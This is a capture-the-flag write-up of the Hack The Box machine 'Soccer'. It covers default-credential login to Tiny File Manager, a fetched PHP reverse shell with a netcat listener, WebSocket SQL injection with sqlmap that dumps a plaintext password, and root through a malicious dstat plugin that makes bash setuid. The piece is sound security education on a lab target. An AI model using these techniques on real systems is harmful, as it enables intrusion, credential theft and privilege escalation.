Those Are The Guys!

Two guys who do stuff on YouTube: [@thoseguys1938](https://www.youtube.com/@thoseguys1938)

View on GitHub
1 August 2023

Soccer

by Jake

With the Women’s World Cup in full swing, what better time to dig through the archives and run through our take on an older Hack The Box (HTB) machine “Soccer”!

Come follow along with our YouTube stream.

We start off with our usual nmap scan:

# Nmap 7.80 scan initiated Mon Jan 16 20:53:22 2023 as: nmap -sC -sV -oN nmap 10.10.11.194
Nmap scan report for 10.10.11.194
Host is up (0.069s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
**|_http-title: Did not follow redirect to http://soccer.htb/**
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Mon, 16 Jan 2023 09:53:34 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 16 Jan 2023 09:53:34 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|     </html>
|   RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Mon, 16 Jan 2023 09:53:35 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.80%I=7%D=1/16%Time=63C51E9A%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Mon,\x2016\x20Jan\x202023\x2009:53:34\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Mon,\x2016\x20Jan\x202023\x2009:53:34\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Mon,\
SF:x2016\x20Jan\x202023\x2009:53:35\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 16 20:53:45 2023 -- 1 IP address (1 host up) scanned in 23.86 seconds

Lots to look at there, but we start off with port 80. In the nmap scan is a mention of a redirect to http://soccer.htb. Servers that use virtual hosts often require a domain name to return actual content. Edit your /etc/hosts file like so - replacing the IP with the IP for the server you are given (don’t forget to use sudo!)

We found a web server, so while we go take a look at it, run some enumeration in the background:

gobuster dir -u http://soccer.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/01/20 15:14:54 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 220510 / 220561 (99.98%)
===============================================================                                                                    
2023/01/20 15:32:16 Finished
===============================================================

You can use /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt if you are using Seclists instead.

Gobuster has found a directory /tiny

Hitting the page we are prompted to log in to the Tiny File Manager (TFM)

Untitled.png

Searchsploit and other tools don’t seem to have any info or known vulnerabilities about TFM, so we go it’s Github page. (there is a link to the official github at the bottom of the login page)

No major security issues or anything have been reported in the Github issues, but looking through the documentation there are some default credentials:

$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO', //12345
    'guest' => '$2y$10$a.DMI5sRjAnvhb.8rFAXY.XPSEO/eatVb4qCMmTc2YcxTDKp9xMyC' //guest
);

Lets try them all out, maybe one of them will work?

Bingo! we are in as the admin account:

Untitled1.png

So we have a php-based file manager with upload capabilities 🤔 Think we know where this is going…

Poking around trying to upload a simple info.php file, we find that we only have permissions to upload to the /tiny/uploads/ directory. Files that are uploaded also appear to be deleted after a couple of minutes.

Lets try a php reverse shell. PentestMonkey always does good things:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Change the necessary lines of the php file to match our local IP and the port we want to listen on:

$VERSION = "1.0";
$ip = '10.10.16.2';  // CHANGE THIS
$port = 81;       // CHANGE THIS
$chunk_size = 1400;

and set up a listener:

nc -nlvp 81

All that is left to do is upload the php file and browse to it. We get a shell!

nc -nlvp 81               
listening on [any] 81 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.194] 59696
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 04:38:51 up 40 min,  0 users,  load average: 0.00, 0.01, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

We Take the usual steps to upgrade the shell with python3 -c 'import pty; pty.spawn("/bin/bash")' and continue poling around the file system. The /etc/passwd file only contains a single user:

player:x:1001:1001::/home/player:/bin/bash
mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:997:997::/var/log/laurel:/bin/false

Looks like our next steps are to try to elevate to the user player . We also notice that there is a mysql user, we didn’t see it listening in the nmap scan, so it is likely that MySQL is running locally but not exposed externally.

Let’s check that and see what www-data can see:

netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1058/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1058/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      -

Port 3306 is the default MySQL port running only on 127.0.0.1 so we have confirmed our suspicion.

We spend some more time poking around the file system, but don’t see anything too interesting.

Back on our attacking machine, nmap reported that port 9091 was also a web server of some description, so we browse to it to take a look at what we are dealing with:

Untitled2.png

We know from the site on port 80 that the server is running nginx, this site doesn’t auto-redirect us, but it could also be reliant on the correct vhost. We come across a useful Stack Overflow question about how to list all nginx vhosts.

www-data@soccer:/home/player$ grep server_name /etc/nginx/sites-enabled/* -RiI
<r$ grep server_name /etc/nginx/sites-enabled/* -RiI
/etc/nginx/sites-enabled/default:       server_name 0.0.0.0;
/etc/nginx/sites-enabled/default:       server_name soccer.htb;
/etc/nginx/sites-enabled/soc-player.htb:        server_name soc-player.soccer.htb;
www-data@soccer:/home/player$cat /etc/nginx/sites-enabled/soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

We can see that there is also a config file for the subdomain soc-player.soccer.htb so we add that to our hosts fine and see something familiar but slightly different:

Screenshot_from_2023-01-20_16-24-51.png

It’s almost the same website, but there are a couple of new menu items with Match, Login and Signup.

Starting at Signup, you can sign up with any information you like, there is no account confirmation and it’s that easy to create an account.

Untitled3.png

While we are manually using the website, we have Burp running in the background of course as well as gobuster enumerating. We captured the login and signup requests to send to sqlmap and hydra but there was nothing of use there.

After logging in, you are taken to a ticket page with a ticket number and a message telling us not to forget it! Sounds important.

Screenshot_from_2023-01-20_16-26-26.png

There is an input box, which after entering random text, looks like it’s trying to perform a ticket lookup.

Untitled4.png

But we don’t see a POST request in our burp proxy history… Burp has intercepted a WebSocket request though:

Untitled5.png

Messing around with the Burp’s repeater it appears to perform an ‘is numeric’ check before anything else, leading the input with text always returns a not found response, but we find that it may be vulnerable to SQL Injection by sending a fairly standard PoC starting with any number:

Untitled7.png

The next logical step is to try and automate the exploitation of this finding with SQLMap.

SQLMap doesn’t support WebSockets by default:

[CRITICAL] sqlmap requires third-party module 'websocket-client' in order to use WebSocket functionality

We actually performed the exploit by using a python middleware script documented by rayhan0x01.

Setting up the middleware and running our saved request through SQLMap confirmed that there is a blind UNION injection vulnerability in the application:

sqlmap -u "http://localhost:8081/?id=1" --batch 
...
[17:15:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:15:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:15:33] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[17:15:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:15:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:15:52] [INFO] target URL appears to be UNION injectable with 3 columns
[17:24:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:24:15] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:24:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:24:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:24:23] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[17:24:32] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[17:24:32] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4321 FROM (SELECT(SLEEP(5)))IZXb)
---
[17:24:55] [INFO] the back-end DBMS is MySQL
[17:24:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[17:24:57] [INFO] fetching database names
[17:24:57] [INFO] fetching number of databases
[17:24:57] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[17:25:10] [INFO] retrieved: 
[17:25:15] [INFO] adjusting time delay to 1 second due to good response times
mysql
[17:25:43] [INFO] retrieved: information

We use SQLMap to enumerate the databases and enevtually find something interesting:

sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
        ___
       __H__                                                                                                                       
 ___ ___["]_____ ___ ___  {1.7#stable}                                                                                             
|_ -| . [.]     | .'| . |                                                                                                          
|___|_  ["]_|_|_|__,|  _|                                                                                                          
      |_|V...       |_|   https://sqlmap.org                                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:23:49 /2023-01-20/

[17:23:49] [INFO] testing connection to the target URL
[17:23:49] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.9')
[17:23:49] [INFO] testing if the target URL content is stable
[17:23:49] [INFO] target URL content is stable
[17:23:49] [INFO] testing if GET parameter 'id' is dynamic
[17:23:50] [WARNING] GET parameter 'id' does not appear to be dynamic
[17:23:50] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[17:23:51] [INFO] testing for SQL injection on GET parameter 'id'
[17:23:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:23:52] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:23:53] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:23:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:23:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:23:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:24:00] [INFO] testing 'Generic inline queries'
[17:24:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:24:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:24:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:24:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:24:15] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:24:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:24:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:24:23] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[17:24:32] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[17:24:32] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4321 FROM (SELECT(SLEEP(5)))IZXb)
---
[17:24:55] [INFO] the back-end DBMS is MySQL
[17:24:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[17:24:57] [INFO] fetching database names
[17:24:57] [INFO] fetching number of databases
[17:24:57] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[17:25:10] [INFO] retrieved: 
[17:25:15] [INFO] adjusting time delay to 1 second due to good response times
mysql
[17:25:43] [INFO] retrieved: information_schema
[17:27:28] [INFO] retrieved: performance_schema
[17:29:11] [INFO] retrieved: sys
[17:29:30] [INFO] retrieved: s
[17:29:43] [ERROR] invalid character detected. retrying..
[17:29:43] [WARNING] increasing time delay to 2 seconds
occer_db
available databases [5]:                                                                                                           
[*] information_schema                                                                                                             
[*] mysql                                                                                                                          
[*] performance_schema                                                                                                             
[*] soccer_db
[*] sys

[17:31:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

[*] ending @ 17:31:05 /2023-01-20/

Getting a list of tables in the database:

sqlmap -u "http://localhost:8081/?id=1" --tables -D soccer_db
        ___
       __H__                                                                                                                       
 ___ ___[)]_____ ___ ___  {1.7#stable}                                                                                             
|_ -| . ["]     | .'| . |                                                                                                          
|___|_  [,]_|_|_|__,|  _|                                                                                                          
      |_|V...       |_|   https://sqlmap.org                                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:33:13 /2023-01-20/

[17:33:13] [INFO] resuming back-end DBMS 'mysql' 
[17:33:13] [INFO] testing connection to the target URL
[17:33:13] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.9')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4321 FROM (SELECT(SLEEP(5)))IZXb)
---
[17:33:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[17:33:13] [INFO] fetching tables for database: 'soccer_db'
[17:33:13] [INFO] fetching number of tables for database 'soccer_db'
[17:33:13] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)    
[17:33:25] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[17:33:36] [INFO] retrieved: 
[17:33:47] [INFO] adjusting time delay to 1 second due to good response times
acc
[17:34:03] [ERROR] invalid character detected. retrying..
[17:34:03] [WARNING] increasing time delay to 2 seconds
ounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

[17:34:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

[*] ending @ 17:34:52 /2023-01-20/

Dumping the table:

sqlmap -u "http://localhost:8081/?id=1" --dump -D soccer_db -T accounts
        ___
       __H__                                                                                                                       
 ___ ___[(]_____ ___ ___  {1.7#stable}                                                                                             
|_ -| . [']     | .'| . |                                                                                                          
|___|_  [,]_|_|_|__,|  _|                                                                                                          
      |_|V...       |_|   https://sqlmap.org                                                                                       

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:35:05 /2023-01-20/

[17:35:05] [INFO] resuming back-end DBMS 'mysql' 
[17:35:05] [INFO] testing connection to the target URL
[17:35:06] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.9')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 4321 FROM (SELECT(SLEEP(5)))IZXb)
---
[17:35:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[17:35:06] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[17:35:06] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)    
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[17:35:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
4
[17:35:41] [INFO] retrieved: 
[17:35:52] [INFO] adjusting time delay to 2 seconds due to good response times
id
[17:36:05] [INFO] retrieved: email
[17:36:46] [INFO] retrieved: username
[17:37:51] [INFO] retrieved: p
[17:38:20] [ERROR] invalid character detected. retrying..
[17:38:20] [WARNING] increasing time delay to 3 seconds
assword
[17:39:41] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[17:39:41] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[17:39:41] [INFO] retrieved: 1
[17:39:47] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
player@player.htb
[17:43:43] [INFO] retrieved: 1324
[17:44:30] [INFO] retrieved: Player
[17:45:58] [ERROR] invalid character detected. retrying..
[17:45:58] [WARNING] increasing time delay to 4 seconds
[17:46:17] [ERROR] invalid character detected. retrying..
[17:46:17] [WARNING] increasing time delay to 5 seconds
Ofth
[17:47:56] [ERROR] invalid character detected. retrying..
[17:47:56] [WARNING] increasing time delay to 6 seconds
eMatch
[17:50:23] [ERROR] invalid character detected. retrying..
[17:50:23] [WARNING] increasing time delay to 7 seconds
2022
[17:51:25] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

[17:53:56] [INFO] table 'soccer_db.accounts' dumped to CSV file '/root/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'                                                                                                                              
[17:53:56] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

[*] ending @ 17:53:56 /2023-01-20/

NOTE: time-based blind SQL injection can be very slow. While SQLMap supports threads to help speed things up, it has been known to mess with the results.

Looks like we have a plain-text password. We are able to use this username and password to SSH in to the box as player and obtain the user flag.

Restarting our standard enumeration and checks for privesc, sudo -l doesn’t give us much, but we are able to run doas as root:

player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

This will allow us to run dstat as the root user. Sounds like a good place to start for privesc!

player@soccer:~$ doas -u root dstat                                                                                             
doas: Operation not permitted
player@soccer:~$ doas -u root /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw 
  3   4  93   0   0| 112k   30k|   0     0 |   0     0 | 320   626 
  1   1  98   0   0|   0     0 | 242B  790B|   0     0 | 285   524 ^C

Note that similar to sudo you must use the full path to binary.

At the time of writing, there was nothing on GTFOBins or in the -h argument that suggests we can straight up exploit this into a root shell, so we do some searching and the top result for dstat priv esc is this article which describes creating a dstat plugin to spawn a shell:

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/

So we give it a try:

player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat

Create dstat_exploit.py in /usr/local/share/dstat

import os

os.system('chmod +s /usr/bin/bash')

It recognises the plugin:

player@soccer:~$ doas -u root /usr/bin/dstat --list | grep exploit
        exploit

dstat returns a bunch of error messages, but the code should have run:

player@soccer:~$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_exploit failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.

Following up with bash -p and we have a root shell:

player@soccer:~$ bash -p
bash-5.0# whoami
root

From there we can read the root.txt

Bonus content:

Upon revisiting this writeup for the livestream we discovered a couple of things:

  1. The SQLMap error we saw about not supporting WebSockets can easily be resolved by installing the WebSocket python module with pip3 install websocket-client. This will allow you to exploit the website directly without the need for the middleware: sqlmap -u "ws://soc-player.soccer.htb:9091" ...
  2. GTFOBins now has a record for dstat. It basically runs through the exact same thing we discovered in our research, but it’s nice to see that it is still updating and could now be discovered in the first place we looked.
tags: ctf - htb - soccer